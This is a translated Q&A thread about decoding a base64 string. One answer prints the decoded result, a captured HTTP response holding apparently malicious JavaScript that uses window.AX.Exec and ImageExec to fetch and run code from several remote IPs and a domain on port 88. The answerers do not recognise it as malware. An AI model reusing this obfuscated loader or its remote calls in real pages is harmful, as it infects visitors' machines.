文本块是如何编码的？ Base64？还有别的事吗？

发布于 2024-09-06 09:41:56 字数 2868 浏览 6 评论 0原文

我有一个像这样的字符串 H0TCxoL9HSXXwlwXgBJAAAaiAAACBAW0AQMDAAEBBAIA 这是什么格式？下面是一些更多的字符串。我认为是 base64，但是当我解码时，我得到像 D????&??_?P@ 这样的字符串

H0TCxoL9HSbXwl+NUBBAAHISAABIVFRQLzEuMSAyMDAgT0sNCkRhdGU6IE1vbiwgMjEgSnVuIDIwMTAgMDk6NTI6NTMgR01UDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNi4wDQpQM1A6IENQPSJBTEwgQ1VSYSBBRE1hIERFVmEgVEFJYSBPVVIgQlVTIElORCBQSFkgT05MIFVOSSBQVVIgRklOIENPTSBOQVYgSU5UIERFTSBDTlQgU1RBIFBPTCBIRUEgUFJFIExPQyBPVEMiDQpYLVBvd2VyZWQtQnk6H0TCxoL9Hz7Xwl+NUBBAAFJ7AAAibm8tY2FjaGUiPiA8SFRNTD48Ym9keSBvbmxvYWQ9IndpbmRvdy5BWC5FeGVjKCdjdHl6Z0hsaWVUMkJqY254ZVBlM0p6M21ycjgzSlI0UmEwSVg3SXQyRFpaaGl4U2laNnJBaVZuU3JqVmQ4TDZrNXNQKEh6SFJ6TUJIRW5jcChic0Jqem9QcGx5aEJ1KHE2ajV1eG1nTVlWbDJTYTg1Y3B1cCluRXBNbUNxT0hiQUwpNlhvZGt6YUhyKGdCcHdram5IZFBSKVUzOEJTH0TCxoL9IVbXwl+NUBBAAOpdAAB4dC9qYXZhc2NyaXB0Jz52YXIgYjY0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7U3RyaW5nLnByb3RvdHlwZS5BQT1mdW5jdGlvbigpe3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGQ9W10scGxhaW4sY29kZWQ7Y29kZWQ9dGhpcztmb3IodmFyIGM9MDtjPGNvZGVkLmxlbmd0H0TCxoL9I27Xwl+NUBBAAI+3AABDaGFyQ29kZShvMSk7fXBsYWluPWQuam9pbignJyk7cmV0dXJuIHBsYWluO307d2luZG93LkxhdW5jaFg9ZnVuY3Rpb24oXzEsXzIsXzMsXzQsXzUsXzApe3RoaXMuXzA9XzA7dGhpcy5fMT1fMTt0aGlzLl8yPV8yO3RoaXMuXzM9XzM7dGhpcy5fND1fNDt0aGlzLl81PV81O3RoaXMuXzY9bnVsbDt0aGlzLl83PW51bGw7dGhpcy5fOD1udWxsO3RoaXMuXzk9ZmFsH0TCxoL9JYbXwl+NUBBAAA42AABoaXMuXzIsdGhpcy5fMyx0aGlzLl80KTtkb2N1bWVudC53cml0ZSgnJyk7fTt3aW5kb3cuTGF1bmNoWC5wcm90b3R5cGUuRXhlYz1mdW5jdGlvbihfNyxfOCl7aWYodGhpcy5fOSl7dGhpcy5SdW4oKTtyZXR1cm47fXRoaXMuXzc9Xzc7dGhpcy5fOD1fODt0aGlzLl85PXRydWU7dGhpcy5SdW4oKTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5JbWFnZUV4ZWM9H0TCxoL9J57Xwl+NUBBAAMwRAAAuTGF1bmNoWC5wcm90b3R5cGUuX0cxPWZ1bmN0aW9uKCl7dGhpcy5fNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLl81KTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5Jbml0PWZ1bmN0aW9uKCl7dGhpcy5fRzEoKTt2YXIgZWw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnRElWJyk7dmFyIGE9dGhpcy5fMC5BQSgpO2VsLmlubmVySFRNTD1hO307d2luH0TCxoL9KbbXwl+NUBBAAMopAABhRDBuTVNjZ2FHVnBaMmgwUFNjeEp5QnZibXh2WVdROUoycGhkbUZ6WTNKcGNIUTZkMmx1Wkc5M0xrRllMa2x0WVdkbFJYaGxZeWdpYUhSMGNEb3ZMMlJ1Ykc5allXd3VibUZ0Wld0eUxtTnZiVG80T0M5bllXMWxjR2xoZWk5MlpYSnphVzl1TG1GemNDSXBKejQ4YVcxbklITnlZeUE5SUNkb2RIUndPaTh2TlRndU1qSXhMak0wTGpJeE1UbzRPQzluWVcxbGNHbGhlH0TCxoL9K87Xwl+NUBBAAJkHAABNelF1TWpBME9qZzRMMmRoYldWd2FXRjZMM1psY25OcGIyNHVZWE53SWlrblBqeHBiV2NnYzNKaklEMGdKMmgwZEhBNkx5ODNNaTR6TkM0eU5ESXVNakk0T2pnNEwyZGhiV1Z3YVdGNkwyTm9heTVuYVdZbklIZHBaSFJvUFNjeEp5Qm9aV2xuYUhROUp6RW5JRzl1Ykc5aFpEMG5hbUYyWVhOamNtbHdkRHAzYVc1a2IzY3VRVmd1U1cxaFoyVkZlR1ZqS0NKb2RIUndPH0TCxoL9LebXwl+NUBhAABVAAABZWG92WTJockxtZHBaaWNnZDJsa2RHZzlKekVuSUdobGFXZG9kRDBuTVNjZ2IyNXNiMkZrUFNkcVlYWmhjMk55YVhCME9uZHBibVJ2ZHk1QldDNUpiV0ZuWlVWNFpXTW9JbWgwZEhBNkx5OHlNVEV1T0M0eU1UQXVNVGcyT2pnNEwyZGhiV1Z3YVdGNkwzWmxjbk5wYjI0dVlYTndJaWtuUGc9PScpOyB3aW5kb3cuQVguSW5pdCgpOzwvc2NyaXB0PjwvYm9keT48L0hUH0TCxoL9LrbXwl+NUBFAADJm

原文

I am having a string like this H0TCxoL9HSXXwlwXgBJAAAaiAAACBAW0AQMDAAEBBAIA what format is this? Below are some more strings. I thought as base64 but when i decode that i get strings like D????&??_?P@

H0TCxoL9HSbXwl+NUBBAAHISAABIVFRQLzEuMSAyMDAgT0sNCkRhdGU6IE1vbiwgMjEgSnVuIDIwMTAgMDk6NTI6NTMgR01UDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNi4wDQpQM1A6IENQPSJBTEwgQ1VSYSBBRE1hIERFVmEgVEFJYSBPVVIgQlVTIElORCBQSFkgT05MIFVOSSBQVVIgRklOIENPTSBOQVYgSU5UIERFTSBDTlQgU1RBIFBPTCBIRUEgUFJFIExPQyBPVEMiDQpYLVBvd2VyZWQtQnk6H0TCxoL9Hz7Xwl+NUBBAAFJ7AAAibm8tY2FjaGUiPiA8SFRNTD48Ym9keSBvbmxvYWQ9IndpbmRvdy5BWC5FeGVjKCdjdHl6Z0hsaWVUMkJqY254ZVBlM0p6M21ycjgzSlI0UmEwSVg3SXQyRFpaaGl4U2laNnJBaVZuU3JqVmQ4TDZrNXNQKEh6SFJ6TUJIRW5jcChic0Jqem9QcGx5aEJ1KHE2ajV1eG1nTVlWbDJTYTg1Y3B1cCluRXBNbUNxT0hiQUwpNlhvZGt6YUhyKGdCcHdram5IZFBSKVUzOEJTH0TCxoL9IVbXwl+NUBBAAOpdAAB4dC9qYXZhc2NyaXB0Jz52YXIgYjY0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7U3RyaW5nLnByb3RvdHlwZS5BQT1mdW5jdGlvbigpe3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGQ9W10scGxhaW4sY29kZWQ7Y29kZWQ9dGhpcztmb3IodmFyIGM9MDtjPGNvZGVkLmxlbmd0H0TCxoL9I27Xwl+NUBBAAI+3AABDaGFyQ29kZShvMSk7fXBsYWluPWQuam9pbignJyk7cmV0dXJuIHBsYWluO307d2luZG93LkxhdW5jaFg9ZnVuY3Rpb24oXzEsXzIsXzMsXzQsXzUsXzApe3RoaXMuXzA9XzA7dGhpcy5fMT1fMTt0aGlzLl8yPV8yO3RoaXMuXzM9XzM7dGhpcy5fND1fNDt0aGlzLl81PV81O3RoaXMuXzY9bnVsbDt0aGlzLl83PW51bGw7dGhpcy5fOD1udWxsO3RoaXMuXzk9ZmFsH0TCxoL9JYbXwl+NUBBAAA42AABoaXMuXzIsdGhpcy5fMyx0aGlzLl80KTtkb2N1bWVudC53cml0ZSgnJyk7fTt3aW5kb3cuTGF1bmNoWC5wcm90b3R5cGUuRXhlYz1mdW5jdGlvbihfNyxfOCl7aWYodGhpcy5fOSl7dGhpcy5SdW4oKTtyZXR1cm47fXRoaXMuXzc9Xzc7dGhpcy5fOD1fODt0aGlzLl85PXRydWU7dGhpcy5SdW4oKTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5JbWFnZUV4ZWM9H0TCxoL9J57Xwl+NUBBAAMwRAAAuTGF1bmNoWC5wcm90b3R5cGUuX0cxPWZ1bmN0aW9uKCl7dGhpcy5fNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLl81KTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5Jbml0PWZ1bmN0aW9uKCl7dGhpcy5fRzEoKTt2YXIgZWw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnRElWJyk7dmFyIGE9dGhpcy5fMC5BQSgpO2VsLmlubmVySFRNTD1hO307d2luH0TCxoL9KbbXwl+NUBBAAMopAABhRDBuTVNjZ2FHVnBaMmgwUFNjeEp5QnZibXh2WVdROUoycGhkbUZ6WTNKcGNIUTZkMmx1Wkc5M0xrRllMa2x0WVdkbFJYaGxZeWdpYUhSMGNEb3ZMMlJ1Ykc5allXd3VibUZ0Wld0eUxtTnZiVG80T0M5bllXMWxjR2xoZWk5MlpYSnphVzl1TG1GemNDSXBKejQ4YVcxbklITnlZeUE5SUNkb2RIUndPaTh2TlRndU1qSXhMak0wTGpJeE1UbzRPQzluWVcxbGNHbGhlH0TCxoL9K87Xwl+NUBBAAJkHAABNelF1TWpBME9qZzRMMmRoYldWd2FXRjZMM1psY25OcGIyNHVZWE53SWlrblBqeHBiV2NnYzNKaklEMGdKMmgwZEhBNkx5ODNNaTR6TkM0eU5ESXVNakk0T2pnNEwyZGhiV1Z3YVdGNkwyTm9heTVuYVdZbklIZHBaSFJvUFNjeEp5Qm9aV2xuYUhROUp6RW5JRzl1Ykc5aFpEMG5hbUYyWVhOamNtbHdkRHAzYVc1a2IzY3VRVmd1U1cxaFoyVkZlR1ZqS0NKb2RIUndPH0TCxoL9LebXwl+NUBhAABVAAABZWG92WTJockxtZHBaaWNnZDJsa2RHZzlKekVuSUdobGFXZG9kRDBuTVNjZ2IyNXNiMkZrUFNkcVlYWmhjMk55YVhCME9uZHBibVJ2ZHk1QldDNUpiV0ZuWlVWNFpXTW9JbWgwZEhBNkx5OHlNVEV1T0M0eU1UQXVNVGcyT2pnNEwyZGhiV1Z3YVdGNkwzWmxjbk5wYjI0dVlYTndJaWtuUGc9PScpOyB3aW5kb3cuQVguSW5pdCgpOzwvc2NyaXB0PjwvYm9keT48L0hUH0TCxoL9LrbXwl+NUBFAADJm

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云仙小弟 2024-09-13 09:41:56

它可能很容易是任何东西，但由于它包含大小写混合的字母和数字以及很少的符号，我的猜测是 base64。

附录

是的，肯定是base64；看起来像是某种HTTP请求，但它包含一些奇怪的字符，我不知道它是垃圾还是有某种意义的二进制数据。

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简单气质女生网名 2024-09-13 09:41:56

Base64

我已经在它上面运行了一个解码器（全部），这就是结果：

D�Ƃ�&��_�P@rHTTP/1.1 200 OK
Date: Mon, 21 Jun 2010 09:52:53 GMT
Server: Microsoft-IIS/6.0
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
X-Powered-By:D�Ƃ�>��_�P@R{"no-cache"> <HTML><body onload="window.AX.Exec('ctyzgHlieT2BjcnxePe3Jz3mrr83JR4Ra0IX7It2DZZhixSiZ6rAiVnSrjVd8L6k5sP(HzHRzMBHEncp(bsBjzoPplyhBu(q6j5uxmgMYVl2Sa85cpup)nEpMmCqOHbAL)6XodkzaHr(gBpwkjnHdPR)U38BSD�Ƃ�!V��_�P@�]xt/javascript'>var b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';String.prototype.AA=function(){var o1,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;coded=this;for(var c=0;c<coded.lengtD�Ƃ�#n��_�P@��CharCode(o1);}plain=d.join('');return plain;};window.LaunchX=function(_1,_2,_3,_4,_5,_0){this._0=_0;this._1=_1;this._2=_2;this._3=_3;this._4=_4;this._5=_5;this._6=null;this._7=null;this._8=null;this._9=falD�Ƃ�%���_�P@6his._2,this._3,this._4);document.write('');};window.LaunchX.prototype.Exec=function(_7,_8){if(this._9){this.Run();return;}this._7=_7;this._8=_8;this._9=true;this.Run();};window.LaunchX.prototype.ImageExec=D�Ƃ�'���_�P@�.LaunchX.prototype._G1=function(){this._6=document.getElementById(this._5);};window.LaunchX.prototype.Init=function(){this._G1();var el=document.createElement('DIV');var a=this._0.AA();el.innerHTML=a;};winD�Ƃ�)���_�P@�)aD0nMScgaGVpZ2h0PScxJyBvbmxvYWQ9J2phdmFzY3JpcHQ6d2luZG93LkFYLkltYWdlRXhlYygiaHR0cDovL2RubG9jYWwubmFtZWtyLmNvbTo4OC9nYW1lcGlhei92ZXJzaW9uLmFzcCIpJz48aW1nIHNyYyA9ICdodHRwOi8vNTguMjIxLjM0LjIxMTo4OC9nYW1lcGlheD�Ƃ�+���_�P@�MzQuMjA0Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPjxpbWcgc3JjID0gJ2h0dHA6Ly83Mi4zNC4yNDIuMjI4Ojg4L2dhbWVwaWF6L2Noay5naWYnIHdpZHRoPScxJyBoZWlnaHQ9JzEnIG9ubG9hZD0namF2YXNjcmlwdDp3aW5kb3cuQVguSW1hZ2VFeGVjKCJodHRwOD�Ƃ�-���_�P@@YXovY2hrLmdpZicgd2lkdGg9JzEnIGhlaWdodD0nMScgb25sb2FkPSdqYXZhc2NyaXB0OndpbmRvdy5BWC5JbWFnZUV4ZWMoImh0dHA6Ly8yMTEuOC4yMTAuMTg2Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPg=='); window.AX.Init();</script></body></HTD�Ƃ�.���_�P@2f

这是 HTTP 响应的一部分，我猜测 gibrige 很可能是由于字符集或者您粘贴了太多内容仅有的。您得到的只是解码前几行的结果。

解码工具链接： http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Base64

I've run a decoder on it (the whole lot) and this is the result:

D�Ƃ�&��_�P@rHTTP/1.1 200 OK
Date: Mon, 21 Jun 2010 09:52:53 GMT
Server: Microsoft-IIS/6.0
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
X-Powered-By:D�Ƃ�>��_�P@R{"no-cache"> <HTML><body onload="window.AX.Exec('ctyzgHlieT2BjcnxePe3Jz3mrr83JR4Ra0IX7It2DZZhixSiZ6rAiVnSrjVd8L6k5sP(HzHRzMBHEncp(bsBjzoPplyhBu(q6j5uxmgMYVl2Sa85cpup)nEpMmCqOHbAL)6XodkzaHr(gBpwkjnHdPR)U38BSD�Ƃ�!V��_�P@�]xt/javascript'>var b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';String.prototype.AA=function(){var o1,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;coded=this;for(var c=0;c<coded.lengtD�Ƃ�#n��_�P@��CharCode(o1);}plain=d.join('');return plain;};window.LaunchX=function(_1,_2,_3,_4,_5,_0){this._0=_0;this._1=_1;this._2=_2;this._3=_3;this._4=_4;this._5=_5;this._6=null;this._7=null;this._8=null;this._9=falD�Ƃ�%���_�P@6his._2,this._3,this._4);document.write('');};window.LaunchX.prototype.Exec=function(_7,_8){if(this._9){this.Run();return;}this._7=_7;this._8=_8;this._9=true;this.Run();};window.LaunchX.prototype.ImageExec=D�Ƃ�'���_�P@�.LaunchX.prototype._G1=function(){this._6=document.getElementById(this._5);};window.LaunchX.prototype.Init=function(){this._G1();var el=document.createElement('DIV');var a=this._0.AA();el.innerHTML=a;};winD�Ƃ�)���_�P@�)aD0nMScgaGVpZ2h0PScxJyBvbmxvYWQ9J2phdmFzY3JpcHQ6d2luZG93LkFYLkltYWdlRXhlYygiaHR0cDovL2RubG9jYWwubmFtZWtyLmNvbTo4OC9nYW1lcGlhei92ZXJzaW9uLmFzcCIpJz48aW1nIHNyYyA9ICdodHRwOi8vNTguMjIxLjM0LjIxMTo4OC9nYW1lcGlheD�Ƃ�+���_�P@�MzQuMjA0Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPjxpbWcgc3JjID0gJ2h0dHA6Ly83Mi4zNC4yNDIuMjI4Ojg4L2dhbWVwaWF6L2Noay5naWYnIHdpZHRoPScxJyBoZWlnaHQ9JzEnIG9ubG9hZD0namF2YXNjcmlwdDp3aW5kb3cuQVguSW1hZ2VFeGVjKCJodHRwOD�Ƃ�-���_�P@@YXovY2hrLmdpZicgd2lkdGg9JzEnIGhlaWdodD0nMScgb25sb2FkPSdqYXZhc2NyaXB0OndpbmRvdy5BWC5JbWFnZUV4ZWMoImh0dHA6Ly8yMTEuOC4yMTAuMTg2Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPg=='); window.AX.Init();</script></body></HTD�Ƃ�.���_�P@2f

This is part of a HTTP response, I'm guessing the gibrige is most likely due to a charset or you've pasted so much of it only. What you're getting is the result of decoding the first few lines only.

Link to decoding tool: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

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笑叹一世浮沉 2024-09-13 09:41:56

这绝对是 base64，解码第一行会为您提供有意义的数据，即 HTTP 数据包转储的开始。

[some header data here]
HTTP/1.1 200 OK
Date: Mon, 21 Jun 2010

This is definitely base64, decoding the first line gives you meaningful data, the beginning of HTTP packet dump.

[some header data here]
HTTP/1.1 200 OK
Date: Mon, 21 Jun 2010

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文本块是如何编码的？ Base64？还有别的事吗？

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